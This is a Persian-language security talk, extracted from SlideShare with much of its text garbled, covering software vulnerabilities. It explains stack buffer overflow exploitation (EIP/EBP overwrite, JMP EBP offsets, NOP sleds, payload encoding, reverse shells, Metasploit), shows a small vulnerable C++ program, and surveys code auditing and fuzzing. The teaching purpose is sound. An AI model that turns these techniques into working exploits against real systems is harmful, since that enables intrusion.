SlideShare une entreprise Scribd logo
1  sur  57
‫مشکلت امنیتی نرم افزارها‬


                   ‫مروری بر روش های کشف ، حمله و مقابله‬

   ‫سید حمید کشفی‬
‫‪Hamid@OISSG.org‬‬
  ‫5 تیر ماه 7831‬
‫مواردی که به آنها خواهیم پرداخت‬

                   ‫بررسی روش های حمله به نرم افزارها‬          ‫‪‬‬
                                   ‫‪ ‬نرم افزارهای کاربردی‬
                           ‫مروری بر حملت سرریز بافر‬   ‫‪‬‬

                                   ‫‪ ‬نرم افزارهای تحت وب‬
  ‫مروری بر حملت رایج )‪(… ,SQLi, XSS, Harvesting‬‬       ‫‪‬‬

              ‫بررسی روش های کشف ضعف های امنیتی‬                ‫‪‬‬
                     ‫‪ ‬بازبینی کد )‪(Source-code Audit‬‬
                        ‫‪Fuzzing & Fault-Injection ‬‬
                                ‫‪Binary Analyzing ‬‬
                        ‫بررسی روش های مقابله با حملت‬          ‫‪‬‬
‫‪ ‬سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار‬
      ‫‪ ‬سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی‬


                                                              ‫2‬
‫حمله به نرم افزار – نرم افزارهای کاربردی‬

             ‫‪ ‬ضعف امنیتی در نرم افزار چیست ؟‬
  ‫‪ ‬منظور از ‪ Exploit‬کردن یک ضعف امنیتی ؟‬
   ‫‪ ‬اهداف استفاده از ضعف های امنیتی نرم افزار‬
‫‪ ‬ایجاد اختلل در روال کار نرم افزار یا سیستم )‪(DoS‬‬
‫‪ ‬اجرای دستورالعملی خارج از روال معمول اجرای نرم‬
                 ‫افزار)‪(Controling Software‬‬
        ‫‪ ‬بدست گرفتن کنترل کامل نرم افزار یا سیستم‬
                   ‫عامل)‪(Controling System‬‬
                              ‫‪ Payload ‬چیست ؟‬

                                                     ‫3‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

                             ‫‪ ‬بررسی روال اجرای یک نرم افزار‬
       ‫‪ ‬اختصاص یک محدوده آدرس در حافظه برای بارگذاری‬
                            ‫دستورالعمل ها و اطلعات لزم‬
            ‫‪ ‬بارگذاری سگمنت های تعریف شده در نرم افزار‬
                             ‫‪ :text. ‬حاوی دستورالعمل های اجرایی برنامه‬
  ‫‪ :bss. ‬حاوی اطلعات و متغیر های تعریف نشده )‪(uninitialized data‬‬

‫‪ :data. ‬حاوی اطلعات و متغیر های تعریف شده )‪(static initialized data‬‬

                              ‫‪ ‬اختصاص فضای ‪ Stack‬و ‪Heap‬‬


                                                                          ‫4‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

  ‫سرریز بافر زمانی رخ میدهد که حجم اطلعات کپی شده به بافر ،‬    ‫‪‬‬
                     ‫بیشتر از میزان مشخص شده برای بافر باشد.‬
‫#‪<include <stdio.h‬‬
‫‪(Int main (int arge , char **argv‬‬
‫}‬
 ‫‪chartarget]5[=”“AAAA‬‬
‫‪;(“strcpy(target, “AAAAABBBBCCCC‬‬
‫‪;(“Printf(“%n“,target‬‬
‫0 ‪;Return‬‬
‫{‬

                                                               ‫5‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

               Stack Overflow ‫ بررسی یک کد آسیب پذیر به‬
#include <iostream.h>
#include <stdio.h>                                          12345...
#include <conio.h>
#include <stdio.h>

int Hijack()
{            cout << "This function should be hijacked!";
             getchar();                                         ....ABCD
             return 0; }
                                                                 EIP
int Function1()
{           char var1[15];
            cout << "_________1234567890abcd" <<
endl;                                                           Main()
            cout << "Enter Var1:";
            cin >> var1;
            cout << var1 << endl;
            return 0; }                                        Hijack()
int main()
{           Function1();
            getchar();                                                     6
            return 0; }
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

‫اتفاقی که پس از سرریز بافر رخ میدهد : تخریب روال اجرا‬   ‫‪‬‬

                                   ‫...54321‬


                                   ‫6543210.....‬

                                     ‫) ‪EBP ( AAAA‬‬
                                     ‫) ‪EIP ( BCDE‬‬


                                        ‫)(‪Main‬‬



                                        ‫)(‪Hijack‬‬


                                                        ‫7‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

‫استفاده از قابلیت تغییر‪ EIP‬برای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای‬   ‫‪‬‬
                                                ‫معمولی برنامه , فراخوانی نمیشوند‬
                                                             ‫...54321‬


                                                              ‫6543210.....‬

                                                                ‫) ‪EBP ( AAAA‬‬
                                                               ‫) 05010400( ‪EIP‬‬


                                                                     ‫)(‪Main‬‬



                                                                    ‫)(‪Hijack‬‬

                                                                                    ‫8‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

   ‫با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه‬    ‫‪‬‬
                                                                    ‫نمود‬
       ‫با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،‬    ‫‪‬‬
                                  ‫دستورات می بایست به زبان ماشین باشد.‬
‫به دستوراتی که برای اجرا در حافظه درج میشوند اصطلحآ ‪ Payload‬گفته‬            ‫‪‬‬
                                                                   ‫میشود‬
    ‫رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00‪(0x‬‬            ‫‪‬‬
                                               ‫باعث بروز مشکل خواهد شد‬
  ‫برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق‬    ‫‪‬‬
                                        ‫آنها را پس از درج در حافظه بدانیم‬
 ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~‬        ‫‪‬‬



                                                                            ‫9‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

‫...54321‬                     ‫از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود‬   ‫‪‬‬
‫[‪]Injected Payload‬‬             ‫ندارد . ورودی داده شده درصورتی که دستور زبان ماشین‬
                                                             ‫معتبر باشد اجرا خواهد شد.‬
‫6543210.....‬               ‫یکی از روش های تزریق ‪ Payload‬درحافظه ، ارسال آن در‬             ‫‪‬‬
                                               ‫قالب پارامترهای ورودی نرم افزار میباشد‬
  ‫) ‪EBP ( AAAA‬‬
                               ‫سرریز بافر میتواند هم در فضای ‪ Stack‬و هم در فضای‬           ‫‪‬‬
‫)}‪EIP (0x{Payload Offset‬‬
                                                                       ‫‪ Heap‬رخ دهد‬
                              ‫بسته به محل وقوع سرریز )‪(stack / Heap overflow‬‬              ‫‪‬‬
       ‫)(‪Main‬‬                 ‫نحوه تغییر روال اجرای برنامه و پرش به محل ‪Payload‬‬
                            ‫متفاوت بوده وتکنیک ها و روش های مختلفی برای هر حالت‬
                                                                            ‫وجود دارد.‬
      ‫)(‪Hijack‬‬              ‫قابلیت بازنویسی ‪ EIP‬الزامی نیست ! در نظر داشته باشید که‬       ‫‪‬‬
                           ‫بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای‬
                    ‫00‪0x‬‬
                                                                      ‫‪ Payload‬گردد‬

                                                                                          ‫01‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬
                   ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:‬               ‫‪‬‬
‫‪ ‬آدرس های بارگذاری توابع و ‪ Dll‬ها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی ‪Service‬‬
                                                                     ‫‪ Pack‬تغییر میکند‬
      ‫در برخی موارد ، آدرس ها و ‪ offset‬های ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند‬      ‫‪‬‬

                           ‫‪ ‬نیاز به آگاهی از آدرس دقیق دستورات درج شده )‪ (Payload‬در حافظه‬
                  ‫بر خلف ‪ ، Linux‬تخمین آدرس دقیق ‪ Stack‬در ویندوز براحتی امکانپذیر نیست‬          ‫‪‬‬

                                                       ‫استفاده از تکنیک ‪Return-to-lib/dll‬‬       ‫‪‬‬

                                                                   ‫استفاده از ‪NOP Sled‬‬          ‫‪‬‬

                                        ‫‪ ‬محدودیت در حجم دستوراتی که میتوان در بافر درج کرد‬
            ‫استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها‬   ‫‪‬‬

                                                       ‫استفاده از ‪ Payload‬های چند مرحله ایی‬     ‫‪‬‬

                                  ‫‪ ‬محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد‬
                              ‫شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند‬        ‫‪‬‬

                             ‫‪ Encode‬کردن ‪ Payload‬برای پرهیز از وجود کاراکترهای خاص‬              ‫‪‬‬

                                                               ‫‪ ‬نحوه ارسال دستورات به نرم افزار‬




                                                                                                    ‫11‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬
  ‫‪ ‬در زبان ماشین ، امکان مقدار دهی به ‪ EIP‬بصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط‬
                                      ‫دستوراتی چون ‪ ... JMP MOV CALL‬به ‪ EIP‬داده میشوند (‬
  ‫‪ ‬در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق ‪ Payload‬برای‬
   ‫استفاده دربازنویسی ‪ EIP‬را در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .‬
     ‫‪ EBP ‬بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای ‪ EBP‬را در ‪ EIP‬درج کند‬
                                                                                      ‫)‪(JMP EBP‬‬
   ‫‪ ‬قدم بعد ، بازنویسی ‪ EBP‬برای اشاره به آدرسی از حافظه است که در آن دستورالعمل ‪JMP EBP‬‬
                                                                                     ‫وجود داشته باشد‬
 ‫‪ ‬نکته : توابع کتابخانه ایی پویا)‪ (DLL‬همواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در‬
 ‫هر یک از ‪ DLL‬های موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد‬
‫‪ ‬ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس‬
                                                                            ‫)‪ (offset‬آن دستورالعمل‬
                                                             ‫‪ ‬استفاده از ابزارهایی مانند ‪FindJump‬‬
                        ‫‪ ‬بازنویسی ‪ EIP‬با ‪ 0x7c822cac‬محتویات ‪ EBP‬را در ‪ EIP‬بازنویسی میکند‬
                                                      ‫‪ ‬بدین ترتیب بدون نیاز به درج آدرس ‪Payload‬‬
                                                                  ‫بطور مسقیم در ‪ ، EIP‬آنرا اجرا میکنیم‬
                                                                 ‫‪ ‬نتیجه : پایداری بیشتر در روال حمله‬


                                                                                                   ‫21‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

                     ‫‪ ‬نتیجه نهایی ، نمایی از ‪ Stack‬پس از حمله‬
‫[… ‪GET / AA….A[ 0x90 Nop] [ JMP ] ]overwrite EBP[ ]Overwrite EIP[ [NOP] ]…. Payload‬‬

                          ‫5‬            ‫3‬     ‫6‬


‫‪AA...A‬‬      ‫‪NOP Sled jmp EBPEIP NOP‬‬                                      ‫‪Payload‬‬


                      ‫4‬                                        ‫‪ EIP‬با آدرسی که به ‪ jmp ebd‬اشاره دارد بازنویسی میشود‬      ‫1.‬
                                                                       ‫پردازنده به آدرس مراجعه کرده و دستور اجرا میشود‬   ‫2.‬
                          ‫2‬           ‫1‬
                                                     ‫محتویات ‪ EBP‬که به محل ‪ Nop Sled‬در حافظه اشاره دارد ، در ‪EIP‬‬         ‫3.‬
                                                                                                    ‫بازنویسی میشود‬
                       ‫‪Jmp ebp‬‬                   ‫پردازنده با توجه به ‪ ، EIP‬برای ادامه اجرای دستورات به آدرس ‪Nop Sled‬‬     ‫4.‬
                                                                                                      ‫مراجعه میکند‬
                      ‫‪Kernel32.dll‬‬
                                                      ‫پس از پایان ‪ Nop‬پردازنده به دستور پرش به ‪ Nop Sled‬دوم میرسد‬        ‫5.‬
                                              ‫‪ Nop Sled‬دوم اجرا شده و روال در نهایت به اجرای ‪ Payload‬ختم میگردد.‬         ‫6.‬

                                                                                                                    ‫31‬
‫حملت سرریز بافر – بررسی ‪ Payload‬ها‬
                                            ‫به مرحله اجرای ‪ Payload‬رسیدیم . چه انتخاب هایی پیش رو داریم ؟‬          ‫‪‬‬
    ‫مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ‪ ، Payload‬اصطلحآ ‪ Post Exploitation‬خوانده میشوند.‬                  ‫‪‬‬
                                                         ‫وجه مشترک همه ‪ Payload‬ها : بر اساس زبان ماشین‬             ‫‪‬‬
‫وجه تمایز : اجرای ‪ Payload‬در حافظه هر ‪ Platform‬و معماری پردازنده ، میبایست بر اساس همان شرایط باشد.‬                ‫‪‬‬
  ‫برای تهیه و نوشتن ‪ Payload‬برای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ), 46/23‪IA‬‬              ‫‪‬‬
                                                                      ‫‪ SPARC , PowerPC, MIPS‬و... (‬
        ‫دستوراتی که ‪ Payload‬قصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.‬          ‫‪‬‬
                                                                               ‫برخی از ‪ Payload‬های رایج :‬          ‫‪‬‬
                                       ‫اجرای دستورات بر روی سیستم عامل ) ‪( … , add user , iptables –F‬‬          ‫‪‬‬
                                       ‫فراهم کردن دسترسی از راه دور به سیستم هدف ) ‪(Reverse/Bind Shell‬‬         ‫‪‬‬
                       ‫فراهم کردن دسترسی پیشرفته از طریق ‪ Payload‬های پیچیده )‪( Meterpreter , MOSDEF‬‬            ‫‪‬‬
                             ‫‪ Proxy‬کردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )‪( SysCall Proxying‬‬         ‫‪‬‬
                                    ‫در شرایط معمولی ، میتوان از ‪ Shellcode‬های از پیش آماده شده استفاده کرد‬         ‫‪‬‬
                                                                         ‫/‪http//:milw0rm.com/shellcode‬‬         ‫‪‬‬
                                  ‫‪http//:metasploit.org/data/shellcode/win32msf20payloads.tar.gz‬‬               ‫‪‬‬
 ‫بسته ‪ Metasploit Framework‬بیش از یکصد ‪ Payload‬آماده برای استفاده درشرایط ، سیستم عامل ها و معماری های‬         ‫‪‬‬
                                               ‫مختلف پردازنده را در اختیار قرار میدهد. )‪( www.metasploit.org‬‬




                                                                                                                   ‫41‬
‫حملت سرریز بافر – ‪Exploit Frameworks‬‬

      ‫همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی‬                        ‫‪‬‬
                                                  ‫مراحل مختلف میباشد‬
 ‫انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد‬          ‫‪‬‬
‫تولید ‪ Payload‬ها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد‬        ‫‪‬‬
         ‫در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا ‪ Encode‬کردن‬             ‫‪‬‬
                                                     ‫‪ Payload‬میبایست تکرارشود‬
      ‫برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از ‪ Payload‬های‬            ‫‪‬‬
                                                               ‫متفاوتی استفاده گردد‬
  ‫با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد‬   ‫‪‬‬
                                                                  ‫استفاده قرار گیرد‬
    ‫وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای‬                        ‫‪‬‬
   ‫آنالیز و تولید کد های اکسپلویت برای حملت سرریز بافر تولید شده ، کمک‬
                                               ‫بزرگی محسوب میگردد.‬

                                                                                           ‫51‬
‫حملت سرریز بافر – ‪Exploit Frameworks‬‬
          ‫‪ Exploitation Framework‬های موجود به ما کمک میکنند تا‬                                       ‫‪‬‬
‫تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به‬                      ‫‪‬‬
                   ‫تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم‬
                 ‫نگران مراحل زمانگیر تولید و تست ‪ Payload‬های مختلف نباشیم‬                        ‫‪‬‬
‫براحتی و با استفاده از ‪ Encoder‬های موجود ، مشکل کاراکترهای فیلتر شده )‪Bad‬‬                        ‫‪‬‬
                                                              ‫‪ (chars‬را حل کنیم‬
                          ‫از امکانات موجود در ‪ Payload‬های پیشرفته استفاده کنیم‬                   ‫‪‬‬
                   ‫تعداد خطوط کد لزم برای تولید یک اکسپلویت بسیار کاهش میبابد‬                    ‫‪‬‬
                 ‫کمتر از 5 خط کد در محیط ‪ Framework‬معادل ده ها خط کد در یک اکسپلویت مستقل!‬   ‫‪‬‬


                            ‫معرفی ‪ Metasploit Framework‬و امکانات آن‬                                  ‫‪‬‬
                                                  ‫‪ ‬ابزارهای کمکی برای طی مراحل اولیه‬
                      ‫تولید ‪ Pattern‬برای سرریز کردن بافر )‪(pattern_create.rb‬‬                 ‫‪‬‬

    ‫محاسبه سایز بافر ، و تعداد بایت لزم برای سرریز کردن بافر )‪(pattern_offset.rb‬‬             ‫‪‬‬

                ‫بانک اطلعاتی بسیار کامل برای یافتن ‪ offset‬های مختلف و مناسب )‬                ‫‪‬‬
                                           ‫‪(/http://metasploit.org/opcodedb‬‬



                                                                                                     ‫61‬
Metasploit Framework




     DEMO




                       17
‫حملت سرریز بافر – علت بروز مشکل‬

‫حملت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان‬        ‫‪‬‬
                                                     ‫برنامه نویسی هستند.‬
   ‫بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند‬           ‫‪‬‬
‫انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع‬       ‫‪‬‬
 ‫اطلعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری‬
                                                                    ‫شود.‬
  ‫برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر‬     ‫‪‬‬
   ‫میگردد : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬
                                                      ‫‪(),gets() ,scanf‬‬
    ‫استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز‬   ‫‪‬‬
                                              ‫دوچار مشکل امنیتی میکنند.‬


                                                                            ‫81‬
‫حملت سرریز بافر – علت بروز مشکل‬

Vulnerable Function                 Function’s Purpose                                       Why Vulnerable


     Memcpy()         Copies one part of the memory to another, taking       It can place too much data, into too small a buffer,
                            two a source, a destination and a number of                       thus causing an overflow.
                                        bytes as arguments.



      Gets()          Receives data from the user, and places it into a      Doesn’t check how much data has been placed in
                                              buffer.                                    the buffer, perhaps too much!




     Sprintf()          Places formatted data into a buffer, replacing        It doesn’t check how much data is being placed
                            arguments with data, for example ‘%s’, ‘hi’                          into the buffer.
                             being written to buffer[5]; would result in
                            not ‘%s’ being placed in the buffer, but ‘hi’.




      Strcat()           Sticks one buffer onto the end of another.           Doesn’t check that the data being added will fit
                                                                                             within the buffer limits/


     Strcpy()           Copies the content of one buffer to another.         Once again, the destination length is not compared
                                                                                              with the source length.




                                                                                                                                    19
‫شناسایی مشکلت امنیتی نرم افزار‬
‫تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در‬             ‫‪‬‬
                                             ‫نرم افزارها وجود دارد‬
                                    ‫‪ ‬بررسی کد )‪(Source-Code Audit‬‬
                                         ‫‪Fuzzing & Fault-Injection ‬‬
                                 ‫‪Binary (Static/Dynamic) Analyze ‬‬
    ‫بسته به شرایط ، امکانات ودقت عمل لزم از یک یا ترکیبی از چند روش‬         ‫‪‬‬
                                   ‫برای آنالیز یک نرم افزار استفاده میشود‬
                ‫الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !‬        ‫‪‬‬
    ‫اگرچه بسیاری از تکنیک های کشف و شناسایی مشکلت امنیتی بصورت‬              ‫‪‬‬
‫‪ Automated‬نیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با‬
                                                        ‫تجربه وجود دارد.‬
       ‫لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای‬       ‫‪‬‬
                                                         ‫کد/دستور نیست .‬


                                                                            ‫02‬
‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬

                                               ‫بررسی کد )‪(Source-Code Audit‬‬                    ‫‪‬‬
          ‫)‪(...()strcat(), strcpy() ,sprintf(), vsprintf‬‬   ‫‪ ‬جستجو برای شناسایی توابع پر خطر‬
                    ‫‪ ‬کنترل روال برنامه ، برای شناسایی مشکلت منطقی )‪(Logical‬‬
‫‪ ‬روال جستجو بصورت ‪ ) Static‬بدون اجرای کد ( و ‪ ( Dynamic‬اجرا و بررسی کد (‬
        ‫وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست‬                           ‫‪‬‬

                     ‫بررسی و خواندن کد عملی خسته کننده و زمانبر است.‬                           ‫‪‬‬

       ‫حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.‬                        ‫‪‬‬

‫یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که‬                                ‫‪‬‬
‫احتمال وجود مشکل در آنها بالست ) توابع دریافت ورودی ، خواندن و نوشتن‬
                                                            ‫داده و ... (‬


                                                                                               ‫12‬
‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬

                                  ‫بررسی کد )‪(Source-Code Audit‬‬                          ‫‪‬‬
                                ‫‪ ‬استفاده از ابزارهای ‪ Automated‬برای بررسی کد‬
                             ‫ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده‬      ‫‪‬‬

                ‫سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار بالست‬          ‫‪‬‬

      ‫ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند‬         ‫‪‬‬

            ‫درصد گزارش های خطا )‪ (False Positive‬در اینگونه ابزارها بالست‬            ‫‪‬‬

‫این قبیل ابزارها قادر به تشخیص و گزارش مشکلت امنیتی ناشی از خطاهای ‪Logical‬‬          ‫‪‬‬

                                                                           ‫نیستند‬
 ‫استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست‬   ‫‪‬‬


        ‫لیستی از ابزارهای ‪ Automated‬برای ‪: Static Code Audit‬‬                            ‫‪‬‬
            ‫‪http//:en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬
          ‫‪//:httpsamate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬



                                                                                        ‫22‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬

                                      ‫‪Fuzzing & Fault-Injection‬‬                  ‫‪‬‬
           ‫‪ ‬هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی‬
     ‫‪ ‬قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها‬
                 ‫‪ ‬بررسی ‪ BlackBox‬نرم افزار برای کشف مشکلت‬
‫‪ ‬تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختلل در‬
                                          ‫روند کار نرم افزار گردد.‬
                      ‫تغذیه نرم افزار و پارامتر ها با داده های کامل تصادفی‬   ‫‪‬‬

‫تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با‬   ‫‪‬‬
                                                ‫پارامترها و مقادیر تصادفی‬
‫‪ ‬داده های تولید شده توسط ‪ Fuzzer‬باید آنقدر حساب شده باشند تا از دید‬
‫نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و‬
                   ‫مامتعارف که بتوانند نرم افزار را دوچار اختلل کنند.‬


                                                                                 ‫32‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
                                                                    ‫تکنیک های مختلف ‪: Fuzzing‬‬        ‫‪‬‬
                                                                    ‫‪Session Data Fuzzers ‬‬
‫بررسی اطلعات و پارامترهای رد و بدل شده در یک ‪ session‬معتبر وسعی در دستکاری پارامترها و‬           ‫‪‬‬
                                                                               ‫ارسال آنها‬
                                                     ‫پیاده سازی این روش بسیار ساده میباشد‬        ‫‪‬‬

                                                                       ‫‪Specialized Fuzzers ‬‬
                   ‫بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب ‪Fuzzing‬‬           ‫‪‬‬

                                            ‫نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل‬       ‫‪‬‬

‫کارآمدی ‪ Fuzzer‬وابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای ‪ Fuzzing‬میباشد‬       ‫‪‬‬

             ‫تولید این دسته از ‪ Fuzzer‬ها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد‬      ‫‪‬‬

                               ‫استفاده از این قبیل ‪ Fuzzer‬ها نیاز به دانش فنی بالی کاربر ندارد‬   ‫‪‬‬

                 ‫‪ Fuzzer‬های اختصاصی برای ‪… , SIP , SSL , SMTP , SNMP , RPC‬‬                       ‫‪‬‬

                                                                            ‫‪Generic Fuzzers ‬‬
                                                          ‫قابلیت ‪ Fuzzing‬پروتکل های متعدد‬        ‫‪‬‬

                  ‫کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات ‪ Fuzzer‬بنماید‬     ‫‪‬‬

               ‫تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به ‪ Fuzzer‬معرفی میشوند‬       ‫‪‬‬

                                  ‫استفاده از این دسته ‪ Fuzzer‬ها برای کاربران عادی مشکل است‬       ‫‪‬‬

 ‫کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با ‪ Specialized Fuzzer‬ها کمتر است.‬            ‫‪‬‬



                                                                                                     ‫42‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
‫نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،‬            ‫‪‬‬
                                                                   ‫از دید نرم افزار معتبر باشد‬
      ‫در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به‬             ‫‪‬‬
                                             ‫تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.‬
                  ‫حداقل اطلعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد‬       ‫‪‬‬
  ‫در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،‬                 ‫‪‬‬
     ‫پارامترهای ‪ Fuzz‬شده یک فیلد ، اطلعات فیلد های بعد از خود را تخریب میکند = غیر‬
                                                     ‫معتبر شدن آن درخواست از دید نرم افزار‬
     ‫مفهوم ‪ Block Based Fuzzing‬بر همین اصل استوار است . محاسبه پویای سایز هر‬                     ‫‪‬‬
  ‫فیلد ، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ،‬
                                                 ‫در زمان تولید یک درخواست برای نرم افزار‬
       ‫مثال ساده : در بررسی پروتکل ‪ HTTP‬و ارسال یک درخواست ‪ POST‬نمیتوان تنها‬                     ‫‪‬‬
 ‫پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر‬
                                  ‫‪ content-lenght‬محاسبه شده و در درخواست درج گردد.‬
   ‫‪ ، SPIKE‬یک نمونه ‪ General Fuzzer‬که بر مبنای ‪ Block-Based Fuzzing‬کار‬                           ‫‪‬‬
                                                                                        ‫میکند‬


                                                                                                 ‫52‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬

                                   ‫اهداف ‪ Fuzzer‬ها و کاربرد آنها‬           ‫‪‬‬
     ‫‪ ‬بررسی پروتکل های ارتباطی شبکه )‪Routing protocols, IP‬‬
                                                        ‫‪( … , stack‬‬
‫‪ ‬بررسی پروتکل های تحت شبکه )‪,ssh,ftp,smtp,ssh,http,snmp‬‬
                                                                 ‫…(‬
         ‫‪ ‬بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص‬
 ‫‪ ‬بررسی مشکلت مربوط به خواندن )‪ (parse‬اطلعات از فایل ورودی‬
  ‫‪ ‬بررسی بسته های نرم افزاری خاص )-‪browser,mail-client,ftp‬‬
                                                            ‫‪(clients‬‬
        ‫‪ ‬بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص‬
 ‫‪ } . . . ‬هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم‬
                                                   ‫افزار دخیل است! {‬


                                                                           ‫62‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
                                           ‫‪Fuzzing Frameworks‬‬               ‫‪‬‬
      ‫قابلیت عمل بصورت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬             ‫‪‬‬
                       ‫غالبآ توسط زبان های اسکریپت نویسی تولید میشوند‬   ‫‪‬‬
             ‫‪ API‬های مختلفی را برای ‪ Fuzzing‬در اختیار قرار میدهند‬       ‫‪‬‬
                      ‫از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند‬    ‫‪‬‬
              ‫قابلیت گسترش و افزودن پروتکل های جدید به ‪framework‬‬        ‫‪‬‬
                ‫‪ Fuzzer‬ها نسبت به گذشته تحولت بسیاری داشته اند‬              ‫‪‬‬
                                   ‫مانیتور کردن نرم افزار تحت بررسی‬     ‫‪‬‬
‫کنترل کردن روال اجرای نرم افزار توسط ‪ debugger‬همزمان با ‪Fuzzing‬‬         ‫‪‬‬
‫فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختلل در طول‬         ‫‪‬‬
                            ‫‪ ) Fuzzing‬مانند ‪ crash‬کردن نرم افزار(‬
      ‫مانیتور کردن و ذخیره فعالیت های انجام شده در زمان ‪ Fuzzing‬و ...‬   ‫‪‬‬
